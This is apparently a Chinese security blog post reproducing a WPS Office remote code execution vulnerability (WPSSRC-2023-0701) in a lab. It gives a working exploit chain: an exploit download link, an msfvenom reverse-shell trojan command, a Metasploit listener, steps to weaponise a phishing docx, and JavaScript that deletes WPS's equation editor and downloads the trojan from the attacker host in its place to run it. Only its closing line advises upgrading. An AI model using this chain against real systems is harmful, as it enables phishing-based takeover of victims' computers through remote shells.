环境:
攻击机:kali linux 2023 ip地址为192.168.63.130
靶机:暗魂悬剑定制版(win10),wps 11.1.0.15120 ip地址为192.168.63.6
EXP下载地址:https://shen.lanzoul.com/iiexD16kbp7g 密码:x1ao
漏洞版本WPS下载地址:https://official-package.wpscdn.cn/wps/download/WPS_Setup_15120.exe
(以下过程中的ip地址请自行替换)
exp
a.docx --> 钓鱼的doc文档
qingbangong.json --> 服务端存放的windows木马文件,改名为json格式
tutorial.html --> 存放在服务端的JavaScript脚本,里面为靶机访问后执行的远程代码
start.py --> 启动服务端的脚本
复现过程
1、在攻击机内创建一个文件夹,把tutorial.html、start.py放入该文件内。
2、 生成木马,我们使用msf自带的木马生成工具,生成一个exe木马,也可以使用其他方法生成其他马,cs马也可以。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.63.130 LPORT=4444 -f exe > ./yourfile.exe
2、把木马改名为qingbangong.json放入文件夹内。
3、修改start.py文件内的端口地址,默认是80
4、修改tutorial.html文件,http://攻击机IP:端口/(一定要带后面的“/”,端口是start.py中刚才设置的,80端口就直接Ip地址就可以)
5、运行python脚本,一定要在文件夹这里打开终端,不然访问不到木马文件
python start.py
6、开始配置钓鱼文件a.docx,首先把a.docx改名为 a.zip
全部解压。
7、修改文件wordwebExtensionswebExtension1.xml
修改这里ip为攻击机IP:端口(端口80直接Ip地址就可以)
保存
8、重新回到这个目录下,全选右键,使用winrar压缩,按照图示设置压缩参数后,点击确定,打包成功
9、攻击机监听4444端口
sudo msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run
10、在靶机运行a.docx
11、拿到目标机shell
简单执行几个命令
弹个计算器
漏洞原理
首先我们可以从docx文档入手,在docx内的webExtension1.xml文件中,我们可以看到这里写了一个url
这串内容很巧妙,在URL规范中,@
符号通常用于分隔用户名和密码与主机名。所以当浏览器或其他解析URL的工具看到[email protected]:[email protected]/tutorial.html
时,它会将foo
解析为用户名,education-web.docer.wps.cn:80
解析为密码,然后192.168.63.130/tutorial.html
作为主机名和路径。
这种情况下,由于education-web.docer.wps.cn:80
不能被有效地识别为合法的密码(因为密码通常不包含:
等特殊字符),所以解析过程可能会出现错误,而WPS选择忽略该错误,并继续使用主机名和路径进行连接请求,即直接访问192.168.63.130/tutorial.html
导致远程代码执行
我们接下来可以看看tutorial.html
文件里面写了什么
这串代码使用了wps的一些内部函数,拼接并执行了一些命令
//第一个命令,访问http://192.168.63.130/wpsauth,然后更新EqnEdit.exe文件,如果是空的则删除文件
window.wps.Office.UploadFileToServer('http://192.168.63.130/wpsauth', window.wps.WpsApplication().Path + "\mui\zh_CN\resource\ksee\EqnEdit.exe", JSON.stringify({bDelLocalFile: true}));
//第二个命令,尝试下载qingbangong.json文件,下载后的文件名为EqnEdit.exe
window.wps.Office.DownloadFileFromServer('http://192.168.63.130/qingbangong.json',window.wps.WpsApplication().Path + "\mui\zh_CN\resource\ksee\EqnEdit.exe");
//第三个命令,在文档寻找名为Equation.KSEE3的对象,并且让它Activate活动起来
for (var i = 0; i < e.Count; i++) {
var f = e.Item(i+1);
var g = f.OLEFormat;
if (g !== null && "Equation.KSEE3" == g.ClassType) {
f.Activate();
break;
}
}
EqnEdit.exe
是什么呢?
我查看了一下,是wps自带的公式编辑器
Equation.KSEE3
对象是什么呢?
我们可以查看docx文档里document.xml
文件内容来判断,我们可以看到文档中 有一个嵌入元素,应该是一个公式。
所以上面那三个命令串联起来,形成了一条完美的逻辑线:
1、首先让wps去更新EqnEdit.exe但是获取的内容是空,则wps会删除掉EqnEdit.exe文件
2、通过wps自带的函数,去我们给他的地址下载新的EqnEdit.exe,但这个文件其实是我们写好的木马文件。
3、通过对象调用,把文档中的Equation.KSEE3对象激活,让wps去加载EqnEdit.exe导致木马文件被触发。
总结
这个漏洞需要用户打开包含恶意代码的文件,还需要目标机器上已经安装了WPS软件。如果攻击者成功利用了这个漏洞,他们可以实施一系列恶意行为。总之十分危险,请尽快升级最新版本的wps office。
原文始发于微信公众号(暗魂攻防实验室):【漏洞复现】WPSSRC-2023-0701 WPS office 命令执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论